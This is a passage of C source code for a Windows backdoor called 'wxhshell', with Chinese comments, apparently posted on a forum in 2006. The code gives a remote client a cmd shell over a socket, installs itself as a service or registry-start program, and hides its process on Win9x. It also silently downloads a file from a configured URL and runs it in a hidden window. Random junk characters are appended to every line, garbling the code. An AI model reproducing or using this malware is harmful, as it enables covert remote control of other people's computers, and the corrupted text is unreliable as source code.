  case '?': { `%_yRJd|;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e<o{3*%p)  
    break; OhMnG@@  
  } '&?cW#J?  
  // 安装 e]F4w(*=  
  case 'i': { A (z lX_  
    if(Install()) t@(S=i7}-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3>;zk#b2  
    else x&>zD0\ :\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q${0(#Nu  
    break; =yo?]ZS  
    } M ^gva?{  
  // 卸载 "cSH[/  
  case 'r': { V ':?rEN|  
    if(Uninstall()) zzOc # /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yg34b}m{  
    else B>sSl1opI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6t@kft>Nv  
    break; A'Q=Do E  
    } w5zr Ek#  
  // 显示 wxhshell 所在路径 &,E^ y,r  
  case 'p': { HUUN*yikj  
    char svExeFile[MAX_PATH]; p2T<nP<Pt  
    strcpy(svExeFile,"\n\r"); 5n,?&+*L  
      strcat(svExeFile,ExeFile); USBU?WDt  
        send(wsh,svExeFile,strlen(svExeFile),0); t* eZe`|  
    break; rC )pCC  
    } /4x3dwXW@  
  // 重启 }!-BZIOlO  
  case 'b': { V*]cF=W[A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9w\ yWxl  
    if(Boot(REBOOT)) 2P)*Y5`KBH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x[XN;W&  
    else { $&D$Uc`U>  
    closesocket(wsh); pxC:VJ;  
    ExitThread(0); /S9s%scAy  
    } *^agwQ`  
    break; YI[y/~!  
    } S ?v^/F  
  // 关机 xZ2^lsY  
  case 'd': { fePt[U)2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U Px7u%Do  
    if(Boot(SHUTDOWN)) =e\E{K'f@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &oi*]:<FNe  
    else { ^|Bpo(  
    closesocket(wsh); #a7 Wx}  
    ExitThread(0); \X&LrneR"t  
    } 7-Bttv{  
    break; < zUU`  
    } NlLgXn!  
  // 获取shell & !0[T   
  case 's': { .FV wZ:d  
    CmdShell(wsh); ;yd[QT<I<  
    closesocket(wsh); S#gIfb<D  
    ExitThread(0); !l2=J/LJj  
    break; qU!xh )  
  } }~/u%vI@M5  
  // 退出 Wk3R6 V  
  case 'x': { (H=7(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z +NxO !y  
    CloseIt(wsh); oEfy{54  
    break; @|A w T  
    } WEX6I 16  
  // 离开 :.xdG>\n3  
  case 'q': { !a %6nBo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s Yp?V\Y"  
    closesocket(wsh); eAkC-Fm  
    WSACleanup(); ]*fiLYe9  
    exit(1); &+"-'7  
    break; 2Mqac:L  
        } "Yh[-[,  
  } ?r< F/$/  
  } ~n)gP9Hv  
WsHC%+\'  
  // 提示信息 JjO="Cmk/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X0G Mly  
} fK-tvP0}*  
  } lawjGI  
e[5= ?p@|  
  return; {/Mz /|%  
} {~cG'S Y%  
z 'iAj  
// shell模块句柄 $inpiO|s  
int CmdShell(SOCKET sock) D)0pm?*5A  
{ %M? A>7b  
STARTUPINFO si; 8|9JJ<G7  
ZeroMemory(&si,sizeof(si)); c{X>i>l>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &RSUB;y mL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ' pnkm0=`  
PROCESS_INFORMATION ProcessInfo; Glz yFj  
char cmdline[]="cmd"; MSef2|"P#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Ioj]r  
  return 0; UXU!sd  
} ;{@jj0h;  
FPg5!O%  
// 自身启动模式 :Ng4? +@r  
int StartFromService(void) ;|nC;D]  
{ 4 VPJv>^  
typedef struct Y$tgz)  
{ +A 3Q$1F  
  DWORD ExitStatus; [xaglZ9HNo  
  DWORD PebBaseAddress; 4KO2oIR  
  DWORD AffinityMask; ,B^NH7A:  
  DWORD BasePriority; hU 3z4|~+  
  ULONG UniqueProcessId; K@0gBgN  
  ULONG InheritedFromUniqueProcessId; G"_ 8`l  
}   PROCESS_BASIC_INFORMATION; \W^+aNbv=8  
e+_~a8 -|  
PROCNTQSIP NtQueryInformationProcess; ^F}HWpF_  
FNQR sNi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6[iuCMOZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; | .8lS3C  
,7wxVR%Ys  
  HANDLE             hProcess; KN41 kkN  
  PROCESS_BASIC_INFORMATION pbi; aWtyY[=  
SL( WE=H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 627xR$U~  
  if(NULL == hInst ) return 0; sE,Q:@H5  
_b ~XBn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]yR0"<W^xO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  'Dh+v3O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N sUFM  
9!aQ@ J^  
  if (!NtQueryInformationProcess) return 0; ^:c:~F6J  
h[Hn*g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4nIs+  
  if(!hProcess) return 0; {e>E4(  
IV#kF}9$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KINKq`Sx  
&HS6}  
  CloseHandle(hProcess); 3n\eCdV-b<  
e3|@H'~k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VaLx-RX  
if(hProcess==NULL) return 0; 8Gw0;Uu8D  
kO1.27D  
HMODULE hMod; k1EAmA l  
char procName[255]; "CS {fyJ  
unsigned long cbNeeded; M*& tVG   
S6J7^'h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %Pz'D6 /  
f]P&>j|  
  CloseHandle(hProcess); d8Keyi8[  
O{B[iy(C  
if(strstr(procName,"services")) return 1; // 以服务启动 3]*_*<D  
3`W=rIMli  
  return 0; // 注册表启动 ]w)*8 w.)  
} @R!f(\  
,$lOQ7R1(  
// 主模块 dWg09sx  
int StartWxhshell(LPSTR lpCmdLine) #D{jNSB  
{ 319 &:  
  SOCKET wsl; L}>XH*  
BOOL val=TRUE; im}=  
  int port=0; d#?.G3YmK  
  struct sockaddr_in door; 'h?;i2[  
p=tj>{  
  if(wscfg.ws_autoins) Install(); W~TT`%[  
2J^jSgr50d  
port=atoi(lpCmdLine); 6$d3Ap@Gl  
]A;{D~X^w  
if(port<=0) port=wscfg.ws_port; ("UzMr,  
rQW&$M  
  WSADATA data; -ZmccT"8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O{sb{kk  
n+C,v.X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LLa72HW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3C=|  
  door.sin_family = AF_INET; SBj9sFZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f*+eu @  
  door.sin_port = htons(port); h{dR)#)GF<  
hQm"K~SW=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (#4   
closesocket(wsl); z[7j`J|Kk  
return 1; ;:w?&4  
} (sngq{*%%z  
F<KUVe  
  if(listen(wsl,2) == INVALID_SOCKET) { qk Cj33v  
closesocket(wsl); ?q&*|-%)_d  
return 1; E7XFt#P.  
} :d&^//9  
  Wxhshell(wsl); UuNcBzB2d  
  WSACleanup(); :HDl-8]Lw  
nm!5L[y!0  
return 0; t-xw=&!w  
n1X.]|6'  
} QQ+?J~  
}d,iA FG  
// 以NT服务方式启动 ^,Paih 2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y#'?3  
{ l P4A?J+Q  
DWORD   status = 0; sCX 8  
  DWORD   specificError = 0xfffffff; rA/jNX@S  
|@}Yady@C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ha U6`IP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ur'a{BI2R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '>GZB  
  serviceStatus.dwWin32ExitCode     = 0; H#/}FoBiS  
  serviceStatus.dwServiceSpecificExitCode = 0; LK "47  
  serviceStatus.dwCheckPoint       = 0; IX!Q X  
  serviceStatus.dwWaitHint       = 0; g$qNK`y  
;P` z ?>J:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); De^GWO.?bT  
  if (hServiceStatusHandle==0) return; kW v)+  
yq3i=RB(  
status = GetLastError(); e}Y|' bG  
  if (status!=NO_ERROR) vm3B>ACJ  
{ %fS__Tb#u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /$'R!d5r  
    serviceStatus.dwCheckPoint       = 0; ebbC`eFD  
    serviceStatus.dwWaitHint       = 0; c,$ >u,4  
    serviceStatus.dwWin32ExitCode     = status; rt\i@}  
    serviceStatus.dwServiceSpecificExitCode = specificError; A4}6hG#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gAy,uP~,  
    return; sqAZjfy@  
  } T.1*32cX  
=Q % F~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *c\:ogd  
  serviceStatus.dwCheckPoint       = 0; L*2YAIG  
  serviceStatus.dwWaitHint       = 0; cx]&ae*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jQAK ?7':=  
} 8 |2QJ  
mL!)(Bb  
// 处理NT服务事件,比如:启动、停止 Q4gsOx P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 99'e)[\  
{ 29]T:I1d[  
switch(fdwControl) "=7y6bM  
{ xLfx/&2  
case SERVICE_CONTROL_STOP: n'<FH<x  
  serviceStatus.dwWin32ExitCode = 0; vT*z3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R %QgOz3`  
  serviceStatus.dwCheckPoint   = 0; P4{8pO]B  
  serviceStatus.dwWaitHint     = 0; l]BIFZ~  
  { "Qf X&'09  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `"N56  
  } 3JB?G>\!  
  return; D^(Nijl9U  
case SERVICE_CONTROL_PAUSE: W'Wr8~{h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7$ vs X  
  break; {q9[0-LyJ  
case SERVICE_CONTROL_CONTINUE: 9v=fE2`-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3BBw:)V  
  break; ar-N4+!@  
case SERVICE_CONTROL_INTERROGATE: /D]?+<h1  
  break; _]SV@q^  
}; |hsg= LX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [.M<h^xrB  
} ?a ~59!u  
W^}fAcQKH  
// 标准应用程序主函数 ZzU3j^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }9w?[hXW"  
{ PU0Ha  
3I87|5V,Z  
// 获取操作系统版本 IMaa#8,  
OsIsNt=GetOsVer(); 0w'%10"&U+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XBd/,:q  
w8!S;~xKI  
  // 从命令行安装 :'*;>P .(  
  if(strpbrk(lpCmdLine,"iI")) Install(); sdk%~RN0T  
[TUy><Z  
  // 下载执行文件 Hw 7   
if(wscfg.ws_downexe) { ),9^hJ1+@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9#K,@X5 j  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?:D#\4=US  
} i:9f#  
fi5x0El  
if(!OsIsNt) { Z=VAjJ;i[  
// 如果时win9x,隐藏进程并且设置为注册表启动 Igowz7  
HideProc(); Z`L-UQJ .  
StartWxhshell(lpCmdLine); huj 6Ysr  
} 9i hB;m'C)  
else H_*;7/&  
  if(StartFromService()) q*`1<9{H  
  // 以服务方式启动 7(RtPL pZ  
  StartServiceCtrlDispatcher(DispatchTable); `Sh#> Jp  
else Gqe?CM  
  // 普通方式启动 11%<bmJ]Q3  
  StartWxhshell(lpCmdLine); g_<^kg"  
vM_UF{a$=  
return 0; LxWnPi ^  
}
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只看该作者 1 发表于: 2006-10-10
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